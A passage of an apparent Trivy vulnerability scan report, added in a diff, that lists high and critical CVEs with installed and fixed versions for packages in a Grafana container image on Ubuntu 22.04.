+├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/public/app/plugins/datasource/zipkin/package.json │ node-pkg │ 0 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/bin/grafana │ gobinary │ 74 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/bin/grafana-cli │ gobinary │ 26 │ +├──────────────────────────────────────────────────────────────────────────────────┼──────────┼─────────────────┤ +│ usr/share/grafana/bin/grafana-server │ gobinary │ 26 │ +└──────────────────────────────────────────────────────────────────────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (ubuntu 22.04) +============================== +Total: 8 (HIGH: 8, CRITICAL: 0) + +┌───────────────┬─────────────────┬──────────┬────────┬───────────────────┬───────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├───────────────┼─────────────────┼──────────┼────────┼───────────────────┼───────────────────┼──────────────────────────────────────────────────────────────┤ +│ apt │ CVE-2026-109518 │ HIGH │ fixed │ 2.4.13 │ 2.4.15ubuntu0.1 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├───────────────┼─────────────────┤ │ ├───────────────────┼───────────────────┼──────────────────────────────────────────────────────────────┤ +│ gpgv │ CVE-2025-68973 │ │ │ 2.2.27-3ubuntu2.1 │ 2.2.27-3ubuntu2.5 │ GnuPG: GnuPG: Information disclosure and potential arbitrary │ +│ │ │ │ │ │ │ code execution via out-of-bounds write... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68973 │ +├───────────────┼─────────────────┤ │ ├───────────────────┼───────────────────┼──────────────────────────────────────────────────────────────┤ +│ libapt-pkg6.0 │ CVE-2026-109518 │ │ │ 2.4.13 │ 2.4.15ubuntu0.1 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├───────────────┼─────────────────┤ │ ├───────────────────┼───────────────────┼──────────────────────────────────────────────────────────────┤ +│ libbrotli1 │ CVE-2026-111497 │ │ │ 1.0.9-2build6 │ 1.0.9-2ubuntu0.1 │ brotli: Out-of-Bounds Write in Google Brotli Decoder │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111497 │ +├───────────────┼─────────────────┤ │ ├───────────────────┼───────────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-45447 │ │ │ 3.0.2-0ubuntu1.18 │ 3.0.2-0ubuntu1.25 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├───────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.2-0ubuntu1.30 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├───────────────┼─────────────────┤ │ ├───────────────────┼───────────────────┼──────────────────────────────────────────────────────────────┤ +│ openssl │ CVE-2026-45447 │ │ │ 3.0.2-0ubuntu1.19 │ 3.0.2-0ubuntu1.25 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├───────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.0.2-0ubuntu1.30 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +└───────────────┴─────────────────┴──────────┴────────┴───────────────────┴───────────────────┴──────────────────────────────────────────────────────────────┘ + +usr/share/grafana/bin/grafana (gobinary) +======================================== +Total: 74 (HIGH: 69, CRITICAL: 5) + +┌──────────────────────────────────┬─────────────────────┬──────────┬──────────┬──────────────────────────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├──────────────────────────────────┼─────────────────────┼──────────┼──────────┼──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/apache/thrift │ CVE-2026-41602 │ HIGH │ fixed │ v0.21.0 │ 0.23.0 │ github.com/apache/thrift: Apache Thrift: Integer Overflow in │ +│ │ │ │ │ │ │ TFramedTransport Go implementation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41602 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-43871 │ │ │ │ 0.24.0 │ thrift: Apache Thrift: Denial of Service via infinite loop │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-43871 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/buger/jsonparser │ CVE-2026-32285 │ │ │ v1.1.1 │ 1.1.2 │ github.com/buger/jsonparser: github.com/buger/jsonparser: │ +│ │ │ │ │ │ │ Denial of Service via malformed JSON input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32285 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/getkin/kin-openapi │ GHSA-r277-6w6q-xmqw │ CRITICAL │ │ v0.126.0 │ 0.144.0 │ kin-openapi: ValidationHandler.Load() Fail-Open │ +│ │ │ │ │ │ │ Authentication Bypass via NoopAuthenticationFunc Default │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-r277-6w6q-xmqw │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-30153 │ HIGH │ │ │ 0.131.0 │ github.com/getkin/kin-openapi/openapi3filter: Improper │ +│ │ │ │ │ │ │ Handling of Highly Compressed Data (Data Amplification) in │ +│ │ │ │ │ │ │ github.com/getkin/kin-openapi/openapi3filter │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-30153 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-100349 │ │ │ │ 0.146.0 │ github.com/getkin/kin-openapi: kin-openapi: Denial of │ +│ │ │ │ │ │ │ Service via nil pointer dereference in response │ +│ │ │ │ │ │ │ validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-100349 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-100352 │ │ │ │ 0.148.0 │ github.com/getkin/kin-openapi: kin-openapi: Denial of │ +│ │ │ │ │ │ │ Service via improper handling of non-finite numeric │ +│ │ │ │ │ │ │ values... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-100352 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-100354 │ │ │ │ 0.149.0 │ github.com/getkin/kin-openapi: kin-openapi: Denial of │ +│ │ │ │ │ │ │ Service via unbounded recursion during schema validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-100354 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-76905 │ │ │ │ 0.141.0 │ github.com/getkin/kin-openapi: kin-openapi: Denial of │ +│ │ │ │ │ │ │ Service via malformed multipart/form-data body │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-76905 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-77354 │ │ │ │ 0.142.0 │ github.com/getkin/kin-openapi: kin-openapi: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled resource consumption in deepObject │ +│ │ │ │ │ │ │ query... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-77354 │ +├──────────────────────────────────┼─────────────────────┤ ├──────────┼──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/go-jose/go-jose/v3 │ CVE-2026-116587 │ │ affected │ v3.0.4 │ │ github.com/go-jose/go-jose: go-jose: Denial of Service via │ +│ │ │ │ │ │ │ crafted RSA parameters in JWKs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-116587 │ +│ ├─────────────────────┤ ├──────────┤ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-34986 │ │ fixed │ │ 3.0.5 │ github.com/go-jose/go-jose/v3: │ +│ │ │ │ │ │ │ github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service │ +│ │ │ │ │ │ │ via crafted JSON Web Encryption... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-34986 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/golang-jwt/jwt/v4 │ CVE-2025-30204 │ │ │ v4.5.1 │ 4.5.2 │ golang-jwt/jwt: jwt-go allows excessive memory allocation │ +│ │ │ │ │ │ │ during header parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-30204 │ +├──────────────────────────────────┤ │ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┤ │ +│ github.com/golang-jwt/jwt/v5 │ │ │ │ v5.2.1 │ 5.2.2 │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/grafana/tempo │ CVE-2026-21728 │ │ │ v1.5.1-0.20241001135150-ed943d7a56b2 │ 2.8.4, 2.9.2, 2.10.2 │ grafana/tempo: Tempo: Denial of Service via large queries │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-21728 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28377 │ │ │ │ 2.10.3 │ Grafana Tempo: Grafana Tempo: Information disclosure of S3 │ +│ │ │ │ │ │ │ encryption key via status... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28377 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/jackc/pgx/v5 │ CVE-2026-33815 │ CRITICAL │ │ v5.7.2 │ 5.9.0 │ github.com/jackc/pgx/v5: github.com/jackc/pgx: Memory-safety │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33815 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33816 │ │ │ │ │ github.com/jackc/pgx/v5: github.com/jackc/pgx: Memory-safety │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33816 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ HIGH │ │ v1.17.11 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/moby/spdystream │ CVE-2026-35469 │ │ │ v0.5.0 │ 0.5.1 │ Kubelet: CRI-O: kube-apiserver: Kubelet, CRI-O, │ +│ │ │ │ │ │ │ kube-apiserver: Denial of Service via SPDY streaming... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-35469 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/prometheus/prometheus │ CVE-2026-42151 │ │ │ v0.301.0 │ 0.311.3 │ github.com/prometheus/prometheus: Prometheus: Information │ +│ │ │ │ │ │ │ disclosure of Azure OAuth client secret via config API... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42151 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42154 │ │ │ │ 0.311.3, 0.305.2 │ github.com/prometheus/prometheus: Prometheus: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled memory allocation in remote read... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42154 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ go.opentelemetry.io/otel/sdk │ CVE-2026-24051 │ │ │ v1.34.0 │ 1.40.0 │ opentelemetry-go: OpenTelemetry-Go Affected by Arbitrary │ +│ │ │ │ │ │ │ Code Execution via PATH Hijacking │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-24051 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39883 │ │ │ │ 1.43.0 │ github.com/open-telemetry/opentelemetry-go: │ +│ │ │ │ │ │ │ OpenTelemetry-Go: Arbitrary code execution via PATH │ +│ │ │ │ │ │ │ hijacking on BSD/Solaris │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39883 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-47913 │ │ │ v0.35.0 │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.36.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├──────────────────────────────────┼─────────────────────┤ │ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/text │ CVE-2026-56851 │ │ │ v0.22.0 │ 0.41.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ out-of-bounds slice error in Nickname profile... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56851 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56852 │ │ │ │ 0.39.0 │ golang.org/x/text: golang.org/x/text: Denial of Service via │ +│ │ │ │ │ │ │ invalid UTF-8 input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56852 │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ google.golang.org/grpc │ CVE-2026-33186 │ CRITICAL │ │ v1.70.0 │ 1.79.3 │ google.golang.org/grpc/grpc-go: │ +│ │ │ │ │ │ │ google.golang.org/grpc/authz: gRPC-Go: Authorization bypass │ +│ │ │ │ │ │ │ due to improper HTTP/2 path validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33186 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84304 │ HIGH │ │ │ 1.83.1 │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ │ HTTP/2 DATA Frame Fragmentation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84304 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84445 │ │ │ │ 1.82.2, 1.83.2, 1.84.0-dev.0.20260825144003-d5a41119e0e3, │ google.golang.org/grpc: gRPC-Go: Denial of Service via │ +│ │ │ │ │ │ 1.85.0-dev.0.20260825072537-93e31b48545e │ malformed RPC requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84445 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ GHSA-hrxh-6v49-42gf │ │ │ │ 1.82.1 │ gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities │ +│ │ │ │ │ │ │ https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├──────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.23.7 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ 